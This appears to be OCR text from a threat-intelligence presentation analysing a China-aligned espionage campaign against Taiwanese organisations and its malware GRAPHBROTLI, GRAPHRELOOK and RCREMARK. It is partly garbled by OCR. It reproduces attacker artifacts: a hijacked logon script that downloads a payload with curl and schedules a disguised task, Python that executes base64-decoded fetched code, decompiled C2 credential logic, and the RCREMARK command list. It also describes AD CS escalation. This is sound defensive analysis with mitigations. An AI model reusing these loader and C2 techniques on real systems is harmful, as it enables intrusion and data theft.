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Trend of using Cloud Service for C2

EE————. 00 \Aaseess: ey

Phish and Chips: China-Aligned Espionage Actors

Ramp Up Taiwan Semiconductor Industry
Targeting

Indicators of compromise

Google Sheetas C2

UNK_FistBump Network Indicators

Indicator Type Description FirstSeen  ORF
JULY 16,2025 | MARK KELLY AND THE PROOFPOINT THRE/ 16688611135 IP address Cobalt Strike C2 May 2025
hxxps://sheets[.]googleapis[.Jcom:443/v URL Voldemort Google Sheets C2 May 2025

4/spreadsheets/1z8ykHVYhODF-
b_BFDA9c4Q20jfrgl-fqlv797Y5576Y

hxxps://sheets[.]googleapis[.Jcom:443/v URL Voldemort Google Sheets C2 June 2025
4/spreadsheets/14HOGmMBxgc2p3gplBSs
aDyzSDgpVMKGBKIdkVGh2y1bo

\ _—
https://www.proofpoint.com/us/blog/threat-insight/phish-china-aligned-espionage-actors-ramp-up-taiwan-semiconductor-targeting A\ C /CR/\F /



China state-sponsored Threat Actor

Activity Since 2024, still active
Tageted Region Taiwan

Targeted Industries Government, Manufacturing

GRAPHBROTLI
Malware GRAPHRELOOK
RCREMARK
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Infrastructure-less Adversary

> Three type of different "dead-drop" resolver as C2

Type 1:
Cloud Service

Type 2:
C2 behind Cloudflare

Type 3.
Compromised Website

Leverages legitimate cloud services for

C2 communication. This technique has Microsoft Graph API,
become increasingly common in recent Google Sheets, etc.
years.

Hides C2 infrastructure behind Cloudflare
to evade tracking and blocking.

Utilizes compromised legacy websites
to host malicious payloads, effectively
acting as a public file drive.

School or clinic websites,
legacy sites, etc.

MNCYCARNFT



<

Incident Background
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Phase 1: Initial Compromise & Persistence

> |nitial Access

> Successful phishing campaign compromised internal endpoints.

> Lateral Movement

> Leveraged compromised high-privilege accounts to move laterally via SMB.

> Command & Control
> SoftEther VPN deployed to maintain persistent remote access.

> Utilized malware which leveraged Microsoft Cloud Services as a C2 channel,
effectively blending malicious traffic with legitimate cloud activity.
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Phase 1: Initial Compromise & Persistence

> Persistence

> Created VPN tunnel services and leveraged DLL side-loading techniques to execute
malicious payloads.

> This phase demonstrates how the attacker prioritized persistence over

Immediate impact.
,©

2024-12-08 14:51:24
C:'\ProgramDa;_a'\_\U\U-Messenger.exe

C:\ProgramData) \U\version.dll

Malware Detected Crimeware/Riskware New Sighting | Search Order Hijacking | DLL (CLI)

@ [— — — — — — _ _ __________ |
| 2024-12-08 14:51:22.
2024-12-08 14:50:58 | C:\ProgramDa_t_a_\_\U\U-Meé‘se_n_ger.exe

I

C:\Windows\explorer.exe-.__ P |
I I

I

-

o 2024-12-08 14:51:22
2024-1p-08 14:51:22 c:\ProgramData\ UV \version.dil

C:\ProgramDa _\U\U.exe

Legitimate program executes and loads a malicious DLL ANCYCRNFT




Phase 2: Silent Persistence & Data Exfiltration

> Post-Cleanup Indicator

> Despite initial remediation, sensitive data continued to leakage on Dark Web
marketplaces.

> Abuse of Trusted Infrastructure

> The attacker weaponized the organization’s "gpupdate.bat" logon script, originally
intended to enforce Group Policy updates.

> Continued use of Microsoft Cloud Services as a C2 channel via malicious payloads
triggered by the script, maintaining a stealthy link to external infrastructure.

> Malicious code was executed during system startup, blending seamlessly into
routine administrative operations.
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Phase 2: Silent Persistence & Data Exfiltration

> Detection of Anomalous Behavior

> Advanced log forensics identified traces of unauthorized modifications to the logon
script.

> This led to the detection of suspicious behaviors immediately following script
execution, which conflicted with expected system-management activity.

> This phase maintains stealthy persistence and continues data exfiltration
by abusing trusted system mechanisms.

Information Parent Process: C:\Program Files (x86)\ 'node.exe (PID:21920)

Path C:\USERS\PUBLIC\DOWNLOADS\A.GIF

Detail ) C:\WINDOWS\system32\cmd.exe /s /c "move [y "C:\Users\Public\Downloads\a.gif" "\\DC1\C$\Windows\SYSVOL\sysvol\ \Policies\{32B5S8EB5-197E-42C4-
8985-023E1158BE34}\User\Scripts\Logon\gpupdate force.bat™

MITRE ATT&CK Remote Services: SMB/Windows Admin Shares

MNCYCARNFT



Root Cause Analysis

> Deep Analysis into AD Infrastructure

> |dentified anomalous AD access logs synchronized with the GPO/Logon Script
modification timestamp.

> An audit revealed multiple AD CS misconfigurations ESC (Escalation) that facilitate
domain-wide privilege escalation.

Assessment Rules

Rule

Match,,, « :

& ESC3 (ESC3-2) Enroliment Agent Templates
%% ESC8 - NTLM Relay to ADCS Web Enroliment
o ESC11 - NTLM Relay to RPC Certificate Enroliment

¥ ESC1 - Misconfigured Certificate Templates

MNCYCARNFT



Root Cause Analysis

> Attack Hypothesis

> The attacker exploited AD CS misconfigurations (ESC) to
escalate privileges.

Starting

> By obtaining a Domain Admin level certificate, the attacker
gained the necessary permissions to modify the logon script.

P

> ESC1 Misconfiguration o

> Domain/Authenticated Users were granted AutoEnroll
permissions on the Web Server template.

> Any low-privileged account can impersonate a Domain Admin
via SAN impersonation, leading to full domain compromise.

MNCYCARNFT



AD CS Escalation (ESC)

> SpecterOps identified a series of Active Directory Certificate Services (AD
CS) attack paths, known as ESC.

> These techniques allow attackers to abuse misconfigurations in certificate
templates and enrollment processes.

> If exploited, even low-privileged accounts can escalate privileges up to
Domain Admin.

MNCYCARNFT



Attack Flow

Malware

ESC GPO

=
oJ Phising Exploi Deplo
= xploit = ploy @

XX GRAPHBROTLI

XX GRAPHRELOOK

Privilege Lateral

Escalation Movement E
l AD @ @ XX RCREMARK
O — {3

> Microsoft Graph API
> C2 beind Cloudflare
> Compromised Website

SoftEther VPN
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Malware Analysis
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School Website: C2 behind Microsoft APl as C2 C2 behind

Hosting on comproised site  Cloudflare graph.microsoft.com Cloudflare
A A A A
Download
Deploy by gpscript setup.py

to every endpoint

>| gpupdate.bat ‘

Download
2nd stage malware

4" setup.py ‘
Register as

schedule task 1

GRAPHBROTLI GRAPHRELOOK RCREMARK

FoxitService.exe :|

DLL
Sideload

DLL
Sideload

DLL
Sideload

U-Messenger.exe :| AppDeviceProcess.exe :|

Registerldr.dll version.dll AppleVersions.dll

NCYCARNFT



School Website:

Hosting on comproised site

Download

Deploy by gpscript setup.py
to every endpoint

»| gpupdate.bat

MNCYCARNFT



AD Logon Script (Ephemeral Modification)

>The "gpupdate.bat" is a legitimate logon script configured by
administrators, executing automatically when users log in.

> Attackers replace the script with malicious content. As users log
In, the malicious payload executes on their endpoints. The script
IS later reverts to its original state to evade detection.

Original file Modified file

fecho off

gpupdate HF

set "usern U >ERNAME=

set "fi st r username:~@,1%"

for %A {b d F g h i) do if /i "%firs

T_Ch ll_ II-:J.\'l_.ﬁll ':
1 -k "https:, /" -H "CDDI ie: ASP.NET_Session Id=%username’;"

)
exit

MNCYCARNFT



gpupdate.bat

> The script create schedule task for setup.py script

> Instead of using dedicated infrastructure, attackers utilize
compromised public websites to distribute malware

/d C:\ProgramData
curl -k -s -o C:\ProgramData\l.tar.gz https: / GoWeb2f1ib/1ib/1.tar.gz
if not t C:\ProgramData\l.tar.gz exit /b
tar -zxvf C:\ProgramData\l.tar.gz -C C:\ProgramData >nul 2>&1
if not C:\ProgramData\AcrobatReader\python.exe exit /b

if not C:\ProgramData\AcrobatReader\setup.py e /b
/create /f /tn VMwareUpdater /tr “”::?~fg‘arwefewg"“rra'ﬁrai:“ python.exe C:\ProgramData\AcrobatReader\setup.py"” /sc HOURLY /mo 6 >nul 2>&1

/run /tn VMwareUpdater >nul 2>&1
C:\ProgramData\l.tar.gz

MNCYCARNFT



Compromised Website as Dead-drop Resolver

inurl:goweb2

Google

AlMode All  Images Videos Shopping News

© HEZAGESHPESE

https:/fwww stroke org tw - include - Translate this page  :
BEESIHEEAREKTREE
BEIES|  BERFEE, FE 2025, HEEMEARRARERNESRREELSE- 8580
FRESES S HARA 2025, aREGESE MMM .. Read more

=i

@ “IREEREE 58
https:ffwww.cit.org tw » GoWeb2 - Translate this page # *Eij]l:h
https://www.cit.orgtw/GoWeb2/include/index.php?Pa... '
No information is available for this page. 235
Learn why
258
Type 3: Download
Malware

Compromised

Website Gr—

ake

Shortvideos  More -~ Tools ~

z> e ome

HITCON Zerodays
A Vulnerability Disclosure Platform

HETHEE AHES =Rt AARE

| zp-2020-00140 Ve
goweb21@BASOL injection

E#FERASQL injection

Upload
Malware

—

&

—
==

Compromised

Website
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C2 behind
Cloudflare

Download
2nd stage malware

setup.py

1
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Python Script (setup.py)

> We can see the downloaded content include the python.exe itself, the
whole dependency is packed in a single tar file.

> This self-contain dependency technique is simple / portable and can avoid

detection by not packing it with pyinstaller.
Whole dependency

packed in a single tar file

P

python36.dl1
python36.z1ip

P

el
Lad Lt g b

pyinstalle

Pl Ld D
I

_socket.pyd
_ssl.pyd
unicodedata.pyd
veruntime14a.dll

Packed by pyinstaller can
be detected easily

P

[

3
3
3
3

[
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<---4 81t 2 2
ef ntou_cdr_allowgrp

if len(userid)
firchar = userid[8]
if firchar in [

»

{F len{userid)
firchar = userid[@].lower()
if firchar in [ ) s Jlks
flagdr =
return flag
=f reverse_dealextrafont_by_wordsimg(
try:
hdr[ I=
req = urllib.request.Request{url, headers=hdr)

response = urllib.request.urlopen(req, context=context)

rsph = response.info() .
if ( in rsph and rsph[ ) ( in rsph and rsph[

(response.read())

Y.strip()

exec(base64.b64decode(html[56:]).decode())

MNCYCARNFT



Nodejs Variant (log.|s)

> Instead of the setup.py script, certain endpoints utilize Node.|s

to execute t

>log.]Js alreac

ne payload.

y exists on the victim's endpoint and is launched

automatical

y by legitimate services on startup.

> The threat actor edits the file to inject malicious content, then
reverts the file to its original state after execution.

modify _ Pick up and
> log.Js execute by service

MNCYCARNFT



C2 behind Cloudflare

MRz BhASHIIL

BN TS » LT - B BEEENZ2RE

>C2 remain alive

11:35:15
AR

>Access the C2 will see either

AR

> disguise website

> 403 forbidden 403 Forbidden

Access to this resource on the server is denied!

>Only respond if specific header

Type 2:
C2 behind Cloudflare

MNCYCARNFT



C2 behind Cloudflare

403 Forbidden

Access to this resource on the server is denied!

GET request
without specific headers

GET with headers

UKZ2xvYmFsIHNOaW11lDQpzdGLtZTO3MjAw

"Z2xvYmFSIHNOaW11DQpzdGLEZTO3IMIAW")
lobal stime\r\nstime=7200{

Setting sleep time

MNCYCARNFT



Microsoft APl as C2
graph.microsoft.com

GRAPHBROTLI

FoxitService.exe :|

DLL
Sideload

Registerldr.dll
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GRAPHBROTLI

> The malware write their
Microsoft client_id and
client_secret directly inside
the malware

> They use “Client Credentials
Grant Flow” OAuth for auto
login and get token

Type 1:
Cloud Service

memset(v6, @, sizeof(v6));
*(DuoR0 *)vé = "Fozocoi N
*(_DWORD *)&v6[4] = 36;
-(Covoro )ave(] - oo
*(_DWORD *)&v6[12] =
*(_DWORD *)&v6[16] = https //1ogin.microsoftonline. com/ [ NG / 0o th2/v2.8/token";
*( DWORD *)&v6[20] = 88;
[1] = runtime newob]ect((wn*)&RTYPE 1_string);
ve = (_DWORD *)v3[1];
(D“RD *)(v3[1] + 4) = 36;
v@ = "https: //graph m1c"osoft com/.default”;
*(_DWORD *)&v6[24] = ve;
*(_DWORD *)&v6[28] = 1;
*(_DWORD *)&v6[32] = 1;
if ( dword_G4E8BCF@ )
v3[3] = runtime_waove(&RTYPE_clientcredentials_Config, vl2, v6);
gmemcpy((void *)vi2, v6, Ox34u);
v3[3] = golang_org_x_ocauth2_clientcredentials__ptr_Config_Token(v12, (int)&stru_64CA7AEQ, (int)&dword_64E8B900);
if ( v3[4] )
{

*

o
e

e;

*(_DWORD *)(v3[4] + 4);

ptr v4.ptr;

va.ptr = (char *)fmt_Errorf((int)"get token failed: %w", 20, (int)&vie, 1, 1);
return v4;

)

else

ptr

v3[3] = golang org x ocauth2 clientcredentials ptr Config Client(v12, (int)&stru 64CA7AEQ, (int)&dword 64E8B900);

MNCYCARNFT



GRAPHBROTLI

> The malware pull the users from Microsoft graph api periodically.

> Checking for each users attribute

v29.1len = net_http NewRequestlWithContext(
(int)&stru_ G4CAVAES,
(int)&dword G4ESEDEE,
(int)"GET",

3,
(int)"https://graph.microsoft.com/vl. Ei.r’user"s?filselect=id}userPr‘incipalNamE*displayhlame*mn:uhileF‘hn:unE,streetﬁ.ddressl",

185,
a,
e);
if ( v3e ) select=id,user"F'r"incipalrnlamE,displa}rrnlarne,rnu:uhileF'hu:unE,streetﬁ.ddress"

MNCYCARNFT




GRAPHBROTLI

> If the field contain "start" as substring

> The "streetAddress" will be executed as command

MNCYCARNFT



GRAPHBROTLI

>The malware use a quite unique decoding method: Brotli + base91
> Brotil is a compression algorithm

> Base9l i1s a mutated version of base64, which use 91 chars instead of 64

> They implement the combined algorithm inside malware, which is
one of the signature of this malware

MNCYCARNFT



GRAPHBROTLI

>The command iIs "hostname" in this case.

> Attacker is checking the hostname of the victim machine

/ run main.py
Original Payload: Km}JIXLg=DZnS;#TmA

[Step 1] Preprocessed String: }JXLg=DZnS%:;#ETmA...
[Step 2] Base91 Decoded (compressed bytes): bytearray(b'\x8b\x03\x80hostname\xB3")...

[Step 3] Brotli Decompressed (final bytes): b'hostname’...

= [' El:::l [I I H G EI I_I I: I:EEI EIFI_”_ ===
Final Decoded Data:
hostname

MNCYCARNFT



Microsoft APl as C2
graph.microsoft.com

GRAPHRELOOK

U-Messenger.exe

version.dll

]

DLL
Sideload

MNCYCARNFT



Type 1:

GRAPHRELOOK Cloud Service

>Using Microsoft Graph API to get commands

>Unlike GRAPHBROTLI, GRAPHRELOOK using Outlook API
for receiving c2 commands

client_id=fab7
client_secret=C.g8(Q

scopezUser.Read+Mail.Send+Mail.ReadWrite&
refresh_token=M.C52
grant_type=refresh_token

MNCYCARNFT



GRAPHRELOOK

o] vikjos@outlook. com

MNCYCRNFT



School Website: behind Microsoft API as C2 behind

Hosting on comproised site  Cloudflare graph.microsoft.com Cloudflare
A A A 4
Download
Deploy by gpscript setup.py

to every endpoint

gpupdate.bat

Download
2"d stage malware

setup.py
Register as
schedule task
RCREMARK
FoxitService.exe U-Messenger.exe AppDeviceProcess.exe
DLL DLL DLL
Sideload Sideload :| Sideload
Registerldr.dll version.dll AppleVersions.dll

ANCYCANFT



RCREMARK

5 = encoding_basef4  ptr Encoding DecodeString((int)dword_GDBBFBCC, a2, a3);
if { (_DWORD)vS )

i
{
result._r@[@] = @8;
’E;u}f._ra[l] i E%
>Base64 + RC4 with fixed QMRS Jatesut._ro(3] = vo;
¥
elze

key to decode string {

(uintd *)v5;

;ZE ; ﬁ;intﬁ “Yruntime makeslice((int)&RTYPE_uintd, v7, v7);
VG =
if {
{ ' [e]
M result. r@df@a] = 8;
Decoded strings o1t rel1] - o
= B;

result._ré[2]

platform_jwt=%s; consent_info=%s *(_QWORD *)&result. r@[3] = v7;

run;rate;drives;ls;mkdir;rmdir;xrm;cp;cat;put;exit }
glse

https:// / {
<!--remark:\\sx([A-Za-z0-9+/=]1+)\\s*--> v3 =tVT4;EiPhE’hj”Ei

vd.ptr = v12;
Done *(_QWORD *)&v4.len = B8;
NEAN] 4w - '-;E.ptr‘ = '-;::;

[~ 1+"1\\S *( QWORD *)&v3.len = v18;

HOST: %s, USER: %s lcrypto_rc4_ ptr_Cipher XORKeyStream{v3, v4, vd);

MNCYCARNFT



RCREMARK g Cloudiiare

> After collecting the host information, malware will send request to C2

> And retrieve command through <!--remark:\\s*([A-Za-z0-9+/=]+)\\s*--> regex
pattern inside html response

Send Host Info BasicInfo Location  Activity Screenshot

HOSTING - CLOUDFLARE, INC.

platform_jwt=%s; consent_info=%s

=
==

@ Last Activity
Scan Time

Resolved IP

<!——remark:\\s*x([A-Za-z0-9+/=]+)\\sx—>

Receive commands

MNCYCARNFT



RCREMARK commands

run <commands> <...>
rate <min sec> <max sec>
drives

ls <dir>

mkdir <dir>

rmdir <dir>

rm <path>

cp <pathl> <path2>

cat <path>

put <url> <path>

exit

Execute shell command
Set heart beat rate

List drives

List files

Make directory

Delete directory

Delete file

Copy file

Read file

Download and write to file

Exit

MNCYCARNFT
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Conclusion and Takeaway
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Ephemeral Modification

> Attacker modify Living off the Land script to achieve its goal

Excute

—_— i
AD Logon Script when logon

@ modify

Pick up and
execute by service

— log.js

MNCYCARNFT



Dead-Drop Resolver C2

Cloud Service b é T | RCREMARK |

CLOUDFLARE
Attacker C2
Type 2: Get >| GRAPHBROTLI ‘
. Set commands commands

C2 behind .
Cloudflare

Microsoft Graph API ’l GRAPHRELOOK ‘
Type 3. Upload malware (=) Download malware
Compromised ” @ ’l setup.py |

Website
Compromised Website

MNCYCARNFT



Mitigation

>Hardening AD Logon Scripts

> Enforce Strict ACLs: Restrict write permissions on shared folders (e.g.,
SYSVOL/Netlogon) to prevent low-privileged accounts from modifying
scripts.

>Network Defense: Public Service Abuse

> Whitelisting: Implement strict whitelisting for critical assets and high-
value targets.

> SSL/TLS Inspection: Decrypt and inspect encrypted traffic to identify
malicious payloads hidden within legitimate service connections.

MNCYCARNFT



Mitigation

>Network Defense: Compromised Infrastructure & CDNs

> Threat Intelligence: Regularly update 10C feeds to catch known
compromised domains.

> Block Newly Registered Domains (NRDs): Block domains registered
within the last 30 days to mitigate disposable C2 infrastructure.

> Behavioral Monitoring: Flag and block non-browser processes
attempting to download executable files (EXE/DLL) from the internet.

MNCYCARNFT
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Takeaways

> Attacker target Taiwan government and
manufacturing industry since 2024, deploy
GRAPHBROTLI, GRAPHRELOOK and
RCREMARK malware

> Ephemeral Modification exploits the time gap
between security scans

> Using Dead-Drop Resolvers on legitimate
Infrastructure means there are no "bad IPs" or
"malicious domains" to block.
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